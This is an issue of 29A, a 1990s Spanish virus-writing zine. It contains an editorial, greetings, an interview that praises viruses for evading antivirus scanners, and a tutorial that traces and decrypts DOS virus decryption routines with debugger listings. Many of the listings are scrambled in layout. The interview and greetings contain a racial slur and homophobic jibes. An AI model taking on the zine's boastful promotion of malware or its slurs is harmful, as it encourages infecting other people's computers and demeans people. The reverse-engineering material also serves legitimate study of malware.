Here we are :) *************************************************************************> Mister Sandman At last you can read this... after a lot of time writing viruses and failing exams, we, 29A, a spanish virus writing group, released our first zine. And no... as you can see, 29A ain't a myth as many people thought. We were just a bit late, that was all. Everything was right until IRC suddenly came into our lifes and sucked all the time we used to dedicate to code viruses. Anyway, and as we're intelligent, we realised that we had to get some more time to restart creating life, and that's why we haven't slept for more than one month and we're known nowadays in the uni as the biggest waggers around :) Now we are part of the virus scene, which is continuously regenerated. In the last times we could see how many groups appeared, merged or died. Thus, Qark and Quantum are retired and enjoying life, SVL broke up due to some legal problems in Slovakia, Immortal Riot and Genesis merged and are gonna release their first issue by the next two weeks, Dark Conspiracy disappeared but many of the members founded a new group, LT, which merged with RSA, iKx released their first zine... as you can see, this doesn't keep moving. There's even a new group, Computa Gangsta, which have recently released the first issue of their zine, DHC, and seem to want to follow the steps of YAM... or even worse! And believe me when i say that it's very hard to face the cruel reality and try to keep oneself's zine cool, or at least not lame :) Especially when we speak about the first release, which is usually the most easily criticisable (or however you spell that word) :) About this first issue itself, we hope that you like it and even find it interesting. Some of us (included me) didn't have the time to finish our babies as we would like to, because we decided to meet on November 30th and release the zine asap, so we had to hurry up some projects. Finally, and as there were some problems we didn't count with, we had to make one MORE delay, till we finally could release it on december 13th... friday 13th, btw ;) In this issue we included some tutorials (polymorphism, macro viruses...) viral techniques (how to disable certain AVs, new install checks...), virus disassemblies (Zhengxi, V.6000...), and viruses written by us, of course :) Have a look at the virus index, because some of them are really interesting and/or innovate new techniques never used before. Btw... remember we're spanish and our english skills suck a little, so we (Mr. White and me, who are the ones who translated the articles) are sorry about any language error you can find in this zine :) As a last thing, and for you to know better who we are, here's the member list, with our nicks and IRC nicks; these nicks were placed in alphabetical order, besides mine (bosses first) :P
Normal nick *********** Mister Sandman............... An¡bal Lecter................ AVV.......................... Blade Runner.................
IRC nick Internet address ******** **************** MrSandman...........
[email protected] A_Lecter...............
[email protected] avv.......................
[email protected] blade............
[email protected]
Gordon Shumway............... Griyo........................ Leugim San................... Mr. White.................... Tcp.......................... The Slug..................... VirusBuster.................. Wintermute...................
Shumway...............
[email protected] Griyo...................
[email protected] LeugimSan..........
[email protected] W666..................
[email protected] Tcp.......................
[email protected] The_Slug.............
[email protected] VirusBust.........
[email protected] Winter.............
[email protected]
Besides the new tricks implemented in our viruses, we don't make anything special in this issue... we're saving some info for the next issue; in fact, i've already written a 100% working encrypted resident PE infector and a tutorial about Windows95, and Griyo, Tcp and i have almost finished some superinteresting virus disassemblies... this is part of what 29A#2 will be, so don't miss it! ;) Some words from The Slug: i'm afraid because of the little jumps my article reader sometimes suffers, but the mouse support messed some of my code... anyway, if you're using mouse, it will work ok. I'm sure that the whole Windows community will thank this to me :) And some words from Tcp: we won't write a help file about how to use this file browser, because you ain't supposed to be so lame. Anyway, just note three important things which differ from other browsers: þ There's a '#' at the bottom of the menu bar; that's the 'hot corner' which, being pressed with the mouse, activates the screen saver, which is the payload of the LSD virus :) þ When reading an article, you can use the mouse buttons for performing every kind of moving inside the file and so on. You can even convert to a file every UUencoded file inside an article since i wrote a UUdecoder for the file browser :) þ There's a secret menu in this magazine... try to guess the password and get da freak! with a good debugger, it ain't so difficult ;)
Mister Sandman, bring me a dream.
Distributors *************************************************************************> Mister Sandman Hehe... this is our first release, don't expect too many distributors :) By now we just have one, the spanish 29A headquarters; besides this, you can download 29A from our homepage, from ftp.ilf.net/incoming, etc. :) If you're interested on joining to the following send an e-mail to
[email protected].
distributor list, just
Web site/Board name Address/Phone ************************************************************************* 29A homepage http://www.netforward.com/cryogen/?mrsandman Wintermute's homepage http://www.netforward.com/cryogen/?wintermute Dark Node (spanish hq) +34-86-511-495
Mister Sandman, bring me a dream.
Greetings *************************************************************************> Mister Sandman ae b0z0 CoKe Daniel_F darkman DonDuck forty Galar Gi0rgett0 Greenline H_Spirit halflife iiriv jtr kdkd-666 lMetabolis Methyl ODH PJesus Poltergst qark QuantumG rretch Rebyc rod Sep-IRG ShadSeek singhr Skeeve242 tyzm WarBlaDE wlfshmn ww0rker
: : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
never call me 'vestmanneyjar' ;) still waiting for writing a novel for you... :) hey you, fuckin jetsetter :P hello 2 u (auto msg) good luck with the new VLAD if you wouldn't know so much about greek history... :) you know a funny thing by europeans?... little differences ;) shalom, Galar-tical Galar :) whadda mistaka to maka (your turn) ;) vreau sa merg la Romƒnia devreme! :) it would be nice to read Revelation again i'd really like to see your ponytail :P yodel! :) the greatest trader around, heh? ;) blah :) i really miss bosco's crazy phrases will you bring us that thingy i asked you about? :) ya still on VLAD?
you make Celine Dion feel a na-tuuu-ral wo-maaaaaaan :) hi dillhole Depeche Mode are gays :] thank you very much for THAT ;) we miss your code... be back, please! :)''' hope you like the virus i dedicated to you Trebraruna rulez ;) make her complexion like peaches and cream r(o)x(o)ring ASCII tit c(o)llecti(o)n ;) you really have a swastika tattooed in your gonads? :) why don't we found Sarah Gordon's fan club? ;) ay, ay, ay, ay, que se me ha muerto el canario... ;) hmmm... ermghhh... oh, shit, dunno what to tell you O:) still stuck on 8... :) do you use condoms in your gay relationships? :P go ahead with LT/RSA... best luck for you nahhhh... swedish vodka sux ;) hey you, dogkiller :P
Our greetings go too to the people in #viruslatin (raiders, Ramthes, Ordos, Int13h...) and to all those friends who i forgot in the list above, but i swear i ain't the responsable... it's kdkd's fault for not including their names in the bot :P Of course, very big thanks for those who collaborated with the making of this file browser... they worked a lot and i know they're worth :) Tcp The Slug Tuk HeXeTeR Mr. White Others
: : : : : :
file browser, screensaver, music player article reader with smooth scroll, data files cool 29A logo ;) The VaW and NecronoiD coded the first issue intro music recording AVV and Leugim San, who coded other file browsers :)
Mister Sandman, bring me a dream.
Legal stuff *************************************************************************> Mister Sandman Erhhhmm... well, i really hate doing this kinda things, but it's necessary anyway so... ok, let's suffer for a while and make my lawyers happy :) Albeit most of our readers are supposed to have more than one virus and to be even able to code viruses by theirselves so they ain't the typical lamers who are looking for destructive code to fuck their school computers, we know that exists a risk to become famous and fall in the greasy hands of one of those gimps. Ok, i know that when you are looking for a gun you don't steal one from a museum, but anyway, and due to our morality, we have an internal rule which forbids any destructive code included in our magazine. We prefer to bet for originality and code for fun, so our viruses may be useful for other people who are trying to learn... that's the key stone of the code with educational purposes. Once you have understood this, you may get outta this shit and start enjoying the code... if you're one of those dickheads or antivirus pussies who can't understand what i mean, just get the fuck out. Btw, i don't have any lawyer ;)
Mister Sandman, bring me a dream.
Interviews *************************************************************************> Mister Sandman For this first issue i decided to interview a very good friend of mine, b0z0, because he and his group released their first zine a few time ago, and it's always interesting to know something more about the new talents in the scene, so... here you have the interview:
29A> Ok, b0z0... this is the classic first question of almost every inter29A> view... tell me why did you choose your nick humm... this is a difficult question :) well, really, i just selected it the first time that i went on irc and then i continued to use it. 29A> When and with 'what' did you start computing? i started when i was about 9. my first computer was a ZX Spectrum 16... that were very cool days :) then i upgraded to Spectrum 48, to Spectrum + and finally i got my first 8086. i used mainlt to play games and program a little with basic. 29A> And when did you first know about a computer virus (first experience, 29A> with which virus(es), etc)? i first encountered with viruses a little after my first experience on a x86. i got a copy of some viruses (the aids trojan, some jerusalem variants and some viennas) from a friend and started playing with them. but honestly i haven't cared too much about viruses in that period, so i leaved that diskettes soon in a box after a while :) at that time i was spending all my days playing games or doing something like :) i started "seriously" with viruses about one year ago, when i founded tons of cool virus releated zines and programs around the internet. at that time i really get caught by a great interest for viruses ;) 29A> In what computer languages can you code? i am able to code in asm (80x86 and Z80), c, perl, pascal, basic, and wordbasic (and the languages that derives from these, such as visual basic...) 29A> Describe yourself (physically, morally... however... even sexually if 29A> you dare) :) ok, i'll try :) i'm 17 and i pass about half a day wasting time at school :) for the remaining half of the day i mainly use my computer. i like also reading books (tech or science-fiction ones), i like a lot japanese cartoons (expecially Hokuto Ken, Sailor Moon, Ranma 1/2) and heavy metal and punk music (i need it when i code :) ). 29A> Ok, now about viruses... tell me 29A> the ones you like most
which ones
have you coded, and/or
well, i haven't coded a lot of viruses. until now i coded about 10 viruses, but only released to the public half of them. that viruses wasn't very complicated or something, just quite simple viruses to learn coding :) i think that i am just now starting to code cool viruses ;) you must wait a little... ;) anyway the one that i write i like most is Sailor.Mars. i was really satisfacted when i saw that noone av scan it in any way thanx to its "encryption" :) and definitely it has the biggest probability to stay in
the wild comparing with the others that i wrote. 29A> Btw, about your virus writing group... tell me something (its story, 29A> new projects, and so on) so, the iKx isn't only a virus writing group :) it is a group of hackers, phreakers and, of course, virus writers. the group born in the second half of the 1995 when the dear old Psycodad decided to try to put up a group of guys interested in this topics. the main idea was to excange interesting information between the components of the group and of course also create a public part for all the other interested guys outside our group. so we started building our webpages and then, after about a year of activity, we released the first issue of our zine, the xine. definitely at the iKx we are having a lot of fun and try to learn as much as possible ;) 29A> Which is/are your favourite virus(es)? i don't really have a favourite virus. there are really many viruses that are cool for a reason or another. if i must say some names then i'll say Qark Ph33r and the One Half virus. 29A> Do you think the perfect virus exists or might be ever coded? i don't know :) maybe... a EXE/COM/OVL/SYS/NE/PE/LE/BS/MBR/DOC infector, multilayer poly, full stealth under dos and win, infects also packed files, full OLE and net support, mid-file infection where possible, full retailating, anti resident-av and so on :) but it would be a little too big i think ;) anyway i don't think that there is really a "need" for a perfect virus. every virus has it's cool features and of course it's problems. but just look around. generally the viruses that are more common in the wild are just the most simple ones. avers every day claims that they can eliminate every new virus or catch it when it is executed. and at the end also the most crap virus can fool every av. just look at the Sailor.Jupiter. it is a quite crap boot sector, but it totally fools all the most used resident and non resident antiviruses. fprot, virstop, tbscan, avp, scan? hoho :) 29A> How will the 'viruses of the future' look in your opinion? i think that the 'viruses of the future' will have support for spreading over a network. there are plenty of this possibilities under win*.* that can be implemented, and they *will* be implemented :) 29A> Ok, now let's have a look at the 29A> is the AV you like most?
other side... AVs and AVers. Which
i really hate all the avers that have trasformed the a.c.v for trading and pubblicizing their shit. as for the av products... i used to find cool the tbav, but after a little of studies i founded that it isn't as cool as i thought. so currently i consider that the more efficent is the avp. but i don't like anyway a lot the avp because the scan strings are too general and small. i must say that i like best the small freeware tools developed by individuals researchers. 29A> Heh... one question is enough for those niggas ;) now about the virus 29A> scene... give me your point of view about it (old groups, new groups, 29A> who's cool, who sucks... you know) :) the virus writing scene is, as usual, boring :) it isn't also cool to see great groups to leave... but that's life. anyway in the last months i saw also some new cool groups/individuals entering the virus scene. i hope it will grow and that there would be many cool productions in the near future
;) 29A> Finally, just send a greet to someone, say something, sing, write a 29A> poem , pull yourself :)... dunno, whatever you want. This is your 29A> free space :) ok.... :) i won't sing, i assure it is better for your readers ;) anyway i would like to send big greetings to the entire staff at the iKx, expecially to Psycodad that had the great idea to start with this project, to JHB that invited me to became a member of the iKx and to Kernel Panic that helped me many times. Of course big greets also to Giorgetto and Phoenix. Then also greets to Dandler, kdkd, Galar, l-, Metabolis, Qark, Methyl, Rebyc, Omega, Mindmaniac and all the other guys at #virus or generally to all virus releated ppl :)
Mister Sandman, bring me a dream.
Life in Saturn! *************************************************************************> Mister Sandman This is a stupid but pretty funny new... for those who think that computer viruses are living organisms, i'll tell that there will be life in Titan, the biggest moon of Saturn, from october 1997. No, i ain't drunk... if you don't believe it, just pay attention and read carefully: on october 1997 the spacelead 'Huygens', a project of several european countries, will land in the surface of Titan, the biggest moon in Saturn, in order to seek the start of human life . Inside of this spacelead there will be a CD in which lots of people can write, from a few days ago, their name and a text they want. And as the available room for writing this text is big enough for holding a virus, i decided to send one, so it will be world's ever first virus to reach another planet :) You can either write the source code, the hex dump, or the binary code of a virus... there's a lot of room out there! :) I'll include the source of 'Saturn!', the virus i sent to Titan, in 29A#2, which will be released according to my calculations, in a near date to the landing of the spacelead :) it will be the first, but you can collaborate writing new babies and sending them out, so we will INVADE Saturn!!! :) All it takes is connecting to Huygen's web page and doing a cut&paste of your virus in the message gap... the address of this web page for english speakers is http://www.huygens.com/sign/anglais/sign.htm ;)
Mister Sandman, bring me a dream.
Encryption: theory *************************************************************************> VirusBuster As an introduction to Blade Runner's decryption practices, and for those of you whose knowledge isn't just that advanced, we'll describe brielfy the grounds of encryption.
1. Very basic introduction ************************** First viruses ever had their code very visible. They didn't use encryption techniques, neither did they use polymorphic routines in order to variate their code. All the code was nude, without any kind of "trick" which could stop others from disassembling them. Nevertheless, someday, someone (one of the first encrypted viruses was Alexander.1951, from Romania) had the briliiant idea of "hiding" his code from people's curious eyes, and invented something called "encryption". With this technique, we were able to change whatever portion of code we wanted, so when someone else tried to disassemble that code, would get a bunch of garbage instead of "readable" code.
2. Theory ********* There are several different encryption levels. Some of them use a simple operation such as OR, XOR, ..., and there are other ones that combine many ORs, XORs, NOTs,... etc. An encrypted virus has the following execution structure: + It may have a jmp to the virus code (eg Maltese Amoeba) or it may have the viral code at the begining of the file (Jerusalem). + Decryption routine. + Virus code. + Jump to the infected file's code. The decryption routine consists of a series of instructions that turn encrypted code into real instructions. In order to do this, several logical operations (ie OR, XOR,...) are performed on the encrypted bytes. It is not our duty here to explain how en/decryption routines work, therefore i'll explain the different methods of decrypting a virus and how to identify a yet encrypted one.
3. Decryption methods ********************* Overall i must advise experience gives it all. The more viruses you decrypt, the better your bets will be towards fucking this new virus we've just discovered. Some viruses decrypt themselves from top to bottom. I mean, they start decrypting at cs:0130 and continue downwards (cs:0132, cs:0135...). I say from top to bottom but it really goes from the lowest position to the higher ones :) Some other viruses decrypt
themselves from the bottom to the top. I mean
from the highest position to the lower ones (cs:4567, cs:4563... cs:0116) Classic decryption formulas are:
cs:0100 . . . cs:0115 . . . cs:0124 cs:0127 cs:012a cs:012d
decrypted code
xor dl,5e
cmp ax,0 je 13d jmp cs:0115 encrypted code
Btw, I don't pretend the adresses to be the real ones :) Well, we can see in cs:0115 a logical operation being performed, and then in cs:0124 a comparison being done, and depending on the result, it will go in each direction. In the above example AX is compared to 0 (being true when all bytes have been decrypted). This is a typical structure in encrypted viruses. When we reach a value, we jump to the next instruction after the jmp that would execute the decryption routine once again. What must we do to decrpyt this possible virus? nothing more than trace the code till you reach cs:012d, as this is the point where code is already decrypted. I leave to you the way to save decrypted code with a bit more of calm.
to disk so
as to look it
Debug users may write with "w cs:0100 0 40 4" (which would save code from cs:0100 to cs:0900 in drive A, at sector 40h (64d), and would save 4 512byte sectors which would make up to cs:0900), or either overwriting directly the encrypted file, stating its length at CX and performing a disk write (w). If you use Turbo Debugger, strike Tab till you are at the "dump" window. Once there, press alt+f10, select "Block" and then "Write", where you'll change the file name, the adress and the number of bytes to write. For AVPUtil users, press alt+w and specify of bytes to write in that file.
the file
name and the number
Returning to the structures, we can find the "loop" one:
cs:0100 . . cs:0114 . . cs:0140 cs:0142
decrypted code
or al,al
loop 114 encrypted code
In this case it would be enough to let the loop are a few variants but the base is the same:
decrypt the virus. There
cs:0100 . . cs:0116 . . cs:0150 cs:0156
decrypted code
stuff
jmp to stuff decrypted code
What we must do is reach the instruction after it continues to jump upwardly it's decrypting.
jmp to stuff, coz while
In viruses which get decrpyted from top to bottom, this is easily done. You let it perform a couple jumps and then breakpoint the instruction after the jmp. Then you only have to let it run. As soon as the code is decrypted, we'll get the control back. There may be more problems if we're to use DOS's debug when working on a top-to-bottom decrpyting virus. Why? well, the next instruction to the jump will remain encrypted till the end, and it would be difficult to set a breakpoint after just two jumps. Then we may: 1) Use Borland's (TD) or AVP's debugger. 2) Being patient and do it manually. 3) Move the decryption routine and something more to another segment, get onto that segment, breakpoint the instruction after the jump and then run the virus. To do this last step:
-mcs:0100 400 3000:01009 -rcs 3000
I think with all of this it's ok. Well, and still remain all those virii that hang off int 1 or int 3 and don't let us debug them. In this case, i usually run the virus and note down int 21h's vector, writing to disk the virus length. Another solution is to patch int 21h where the virus gets to hang from int 1 or int 3 with a couple of nops.
4. Examples *********** Here you have Maltese Amoeba virus (one of its variants) when encrypted:
0c39:000a 0c39:000b 0c39:000c 0c39:000d 0c39:000e 0c39:000f 0c39:0011 0c39:0012 0c39:0013 0c39:0015
pushf nop nop push push jmp xchg xchg mov push
ax bx 0011 cx,ax cx,ax ah,ah ds
0c39:0016 0c39:0017 0c39:0018 0c39:0019 0c39:001a 0c39:001b 0c39:001c 0c39:001d 0c39:001e 0c39:001f 0c39:0021 0c39:0023 0c39:0024 0c39:0025 0c39:0028 0c39:002a 0c39:002d 0c39:002f 0c39:0031 0c39:0033 0c39:0034 0c39:0037 0c39:0038 0c39:003a 0c39:003b
cmc push clc push pop cld stc push pop mov mov sahf cld mov mov mov mov mov mov lodsw xor clc jmp stosw loop ^^^^
es cs es
cs ds al,al cx,cx
di,004f dl,dl cx,04a6 si,di ax,ax bx,bx ax,a451 003a 0033
Here you have the famous jump that returns to the above adresses.
0c39:003d 0c39:003e 0c39:003f 0c39:0040 0c39:0041 0c39:0043 0c39:0047 0c39:0048 0c39:004a 0c39:004e 0c39:004f 0c39:0050 0c39:0051 0c39:0052 0c39:0053 0c39:0056 0c39:0057 0c39:005a 0c39:005b 0c39:005C 0c39:005E 0c39:0060 0c39:0063 0c39:0064 0c39:0067
cli pop xchg xchg mov add cld mov add nop stosw db dec das mov pop fistp repnz stosw imul mov sbb pushf test inc
ax cx,ax cx,ax ah,ah [01c3],ax al,al [0086],ax
69 bp bp,172f ax qword ptr [si-26]
cl dl,7a ax,a212 bp,[si-59] di
And once decrypted:
[...] 0c39:0034 0c39:0037
xor clc
ax,a451
0c39:0038 0c39:003a 0c39:003b 0c39:003d 0c39:003e 0c39:003f 0c39:0040 0c39:0041 0c39:0043 0c39:0047 0c39:0048 0c39:004a 0c39:004e 0c39:004f 0c39:0050 0c39:0052 0c39:0054 0c39:0057 0c39:0059 0c39:005c
jmp stosw loop cli pop xchg xchg mov add cld mov add nop cli int mov mov mov mov push
003a 0033 ax cx,ax cx,ax ah,ah [01c3],ax al,al [0086],ax
1c bp,sp ax,[bp-04] ds,ax dx,[bp-06] dx
Just trace into every call you find, and don't forget your HD... it might be a YAM virus ;)
* VirusBuster *
to take
care of
Encryption: practice *************************************************************************> Blade Runner This will be a fix section in 29A in which we'll see many of the weirdest decryption routines, and the way to use them so as to decrypt its owners. In this first issue i'll center on easy viruses with no antidebugging, so that people who've just started may understand everything easily. In further issues i'll include more difficult viruses, and then this will get pretty interesting ;-)
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² 1.-VIRUS:ABR-1171.COM infected by PS-MPC.c virus ²²±± ²² 2.-VIRUS:AC-255.COM infected by Arcv.Made.225 virus ²²±± ²² 3.-VIRUS:AC-330.COM infected by Arcv.330 virus ²²±± ²² 4.-VIRUS:AC-839.COM infected by Arcv.Friends virus ²²±± ²² 5.-VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ²²±± ²² 6.-VIRUS:ANTIMIT.COM infected by Anti-Mit virus ²²±± ²² 7.-VIRUS:ARARA.COM infected by Arara virus ²²±± ²² 8.-VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ²²±± ²² 9.-VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 ²²±± ²² 10.-VIRUS:BETA0575.COM infected by Beta_Boys virus ²²±± ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 1 VIRUS:ABR-1171.COM infected by PS-MPC.c virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************** c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ********************************************************************* Let's disassemble the virus; i personally use DOS's debug for this kinda jobs, but use whatever debugger you like. -u100 14CF:0100 14CF:0103 14CF:0104 14CF:0105 14CF:0106 14CF:010A 14CF:010C 14CF:0110 14CF:0111 14CF:0112
E99004 3F 95 D7 29A6C13F 8FD7 29A2C13F 16 D7 7F6E
JMP AAS XCHG XLAT SUB POP SUB PUSH XLAT JG
0593
; Jumpt to ; The rest BP,AX ; can see, ; no sense [BP+3FC1],SP DI [BP+SI+3FC1],SP SS
the address 593h of the code, as you is encrypted and has at all %-)
0182
Now we go to address 593h and find rest of the decrypted code: -u593 14CF:0593 BE0001
MOV
SI,0100
; 100h address of actual jmp 593h
14CF:0596 14CF:0597 14CF:059A 14CF:059E 14CF:05A2
56 B94A02 C70429D8 C64402C1 8134C1D7
PUSH MOV MOV MOV XOR
SI CX,024A WORD PTR BYTE PTR WORD PTR
; Save SI ; Number of bytes to decrypt [SI],D829 ; d829 at 100h [SI+02],C1 ; c1h at 102h [SI],D7C1 ; d7c1h at SI. If we look ; at 100h we'll find a ; call c212h
If we now look at the header being decrpyted, we find that at address 100h, instead of a jmp 593h there's this instruction: call c212h. -u100 14CF:0100 E80FC1 14CF:0103 3F
CALL AAS
C212
; 100h address right now
We continue decrpyting... 14CF:05A6 14CF:05A7 14CF:05A8 14CF:05AA 14CF:05AC 14CF:05AE 14CF:05AF
46 46 E2F8 31F6 31C9 C3 0000
INC INC LOOP XOR XOR RET ADD
SI ; SI ; 05A2 ; SI,SI; CX,CX;
Increase SI, we get 101h Increase SI, we get 102h We decrpyt 24ah bytes which in CX Get a 0 at SI Get a 0 at CX
[BX+SI],AL
And we finally have the decrypted virus and look into it; this decryption method is not difficult; it's just tracing the code as we have no antidebugging catch. The disassembled code starting at 100h looks like this after decrypted; look at the original 100h and this one to see that the virus is ready for execution. -u100 14CF:0100 14CF:0103 14CF:0106 14CF:0109 14CF:010C 14CF:010F 14CF:0112 14CF:0115 14CF:0117 14CF:0119 14CF:011B 14CF:011E
E80F00 E85400 E87100 E84E00 E87500 E8D700 BEB904 8B1C 0BDB 743E B8DD34 BA1200
CALL CALL CALL CALL CALL CALL MOV MOV OR JZ MOV MOV
0112 015A 017A 015A 0184 01E9 SI,04B9 BX,[SI] BX,BX 0159 AX,34DD DX,0012
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 2 VIRUS: AC-255.COM infected by Arcv.Made.225 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. ********************************************************************* -u100 14CF:0100 14CF:0103 14CF:0105 14CF:0106
E90500 CD20 90 0909
JMP INT NOP OR
0108 20 [BX+DI],CX
; Let's jump to 108h
14CF:0108 E80000
CALL
010B
-u 14CF:0118 14CF:0119 14CF:011D 14CF:0121 14CF:0124 14CF:0126 14CF:0128 14CF:012A 14CF:012C 14CF:012E 14CF:0130 14CF:0133 14CF:0135 14CF:0136 14CF:0137
PUSH LEA MOV MOV MOV XOR XCHG XOR XCHG MOV ADD LOOP POP RET CALL
BX BX,[SI+0148] DX,[SI+0116] CX,00BC AX,[BX] AX,DX AH,AL AX,DX AH,AL [BX],AX BX,+02 0124 BX
53 8D9C4801 8B941601 B9BC00 8B07 33C2 86E0 33C2 86E0 8907 83C302 E2EF 5B C3 E8DEFF
; 10bh -> next instruction
; ; ; ;
We save BX At BX, data at SI+148h Same to DX Number of bytes to decrypt
; ; ; ; ; ; ;
Calculates AX respect of DX XCHanGe AL with AH Calculates AX respect of DX XCHanGe AL with AH We save AX at BX And add 2 to it Decrypting...
0118
Text that appears after decrypting virus at 1e0h: 14CF:01E0 CD 21 B4 3E CD 21 FF E5-B4 3F CD 21 C3 4D 61 64 .!.>.!...?.!.Mad 14CF:01F0 65 20 69 6E 20 45 6E 67-6C 61 6E 64 00 00 2A 2E e in England..*.
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 3 VIRUS:AC-330.COM infected by Arcv.330 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* 14CF:0100 E90200
JMP
0105 ; Jump to 105h
-u105 14CF:0105 E81301 14CF:0108 E57B 14CF:010A 9C
CALL IN PUSHF
021B ; Call to address 21bh AX,7B; Give a look to this address (108h)
-u21b 14CF:021B 14CF:021E 14CF:0221 14CF:0222 14CF:0226 14CF:022A 14CF:022D 14CF:022E 14CF:0230
CALL MOV POP SUB LEA XOR INC LOOP RET
021E ; Trace the call CX,0113 ; Length = 113h bytes SI ; Pop the delta offset into SI SI,0221 ; SUBstract 221h from SI DI,[SI+010B]; We read address SI+10bh BYTE PTR [DI],51 ; Calculate calue at DI ; address 108h, what 022A ; <*¿ leaves 'B4' at that address ; <***¿ À* Dencrypting À** Return to 108h
-u108
E80000 B91301 5E 81EE2102 8DBC0B01 803551 47 E2FA C3
14CF:0108 B42A 14CF:010A CD21 14CF:010C 80FE07
MOV INT CMP
AH,2A 21 DH,07
; Decrypted 108h
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 4 VIRUS:AC-839.COM infected by Arcv.Friends virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. ********************************************************************* Warning: this virus features two decryption routines... 14CF:0100 E9FD01 14CF:0103 CD20
JMP INT
0300 20
-u300 14CF:0300 14CF:0303 14CF:0305 14CF:0307 14CF:0309
CALL LOOPNZ OR OR ROL
0617 ; Call address 617h 02F3 ; Remember instruction at 303h DH,BL ; still encrypted [BX+SI],BL CL,1
-u617 14CF:0617 E80400 14CF:061A 0100 14CF:061C DDFF
CALL ADD ESC
061E ; Another call... to 61eh... [BX+SI],AX 2F,DI
-u61e 14CF:061E 14CF:061F 14CF:0623 14CF:0627 14CF:0628 14CF:0629 14CF:062C 14CF:0630
5B 81EB7816 81C33012 53 5F B94515 81E93112 80B5310108
POP SUB ADD PUSH POP MOV SUB XOR
47 B20F E2F6 90 90 90 90 C3
INC MOV LOOP NOP NOP NOP NOP RET
BX ; POP BX out of the stack BX,1678 ; SUBstract 1678h bytes BX,1230 ; We ADD to BX 1230h bytes BX ; And save BX in the stack DI ; POP BX into DI CX,1545 ; Get 1545h bytes into CX CX,1231 ; SUBstract 1231h to CX BYTE PTR [DI+0131],08 ; After running the xor ; we're left with [303h] ; being e8 ee (call df4h) DI ; INCrease DI in 1 DL,0F ; MOVe 0fh to dl 0630 ; Decrypt a block ; at address 303h
E8E602
CALL
05EC
E80000 5E 81EE1E04 8DBC3501 B9E602
CALL POP SUB LEA MOV
05EF ; Second decrypting routine SI ; Restore SI SI,041E ; SUBstract 41eh from SI DI,[SI+0135] ; Let's take address SI+135h CX,02E6 ; CX=length to be decrypted.
14CF:0635 14CF:0636 14CF:0638 14CF:063A 14CF:063B 14CF:063C 14CF:063D 14CF:063E [...] 14CF:0303 -u5ec 14CF:05EC 14CF:05EF 14CF:05F0 14CF:05F4 14CF:05F8
E81403 E0EE 0AF3 0818 D0C1
; jmp to address 300h
; Return to 303h... ; CALL to 5ech
14CF:05FB 14CF:05FD 14CF:05FF 14CF:0600 14CF:0602 14CF:0604 14CF:0606 14CF:0608 14CF:060A 14CF:060B 14CF:060C 14CF:060E
8A05 8AE0 51 B104 D2EC D2E0 0AC4 8805 47 59 E2ED C3
MOV MOV PUSH MOV SHR SHL OR MOV INC POP LOOP RET
AL,[DI] AH,AL CX CL,04 AH,CL AL,CL AL,AH [DI],AL DI CX 05FB
; ; ; ; ; ; ; ; ; ; ; ;
Get [DI] in AL Get AL in AH Save it ont top of the stack Let CL be 4 Shift AH CL-times (4) Same on AH but the other way Store AH next to AL Store AL at [DI] INCrease DI in 1 Restore the no. of bytes to CX Decrypting... Return to 306h, decrypted by now
-u 14CF:0306 14CF:0309 14CF:030D 14CF:0310 14CF:0312 14CF:0313 14CF:0314 14CF:0315 14CF:0317 14CF:031C 14CF:0321 14CF:0324
BF0001 8D9C8003 B90200 87F3 FC F2 A5 87F3 C684C20500 C684780500 B90500 8A947004
MOV LEA MOV XCHG CLD REPNZ MOVSW XCHG MOV MOV MOV MOV
DI,0100 BX,[SI+0380] CX,0002 SI,BX
SI,BX BYTE PTR [SI+05C2],00 BYTE PTR [SI+0578],00 CX,0005 DL,[SI+0470]
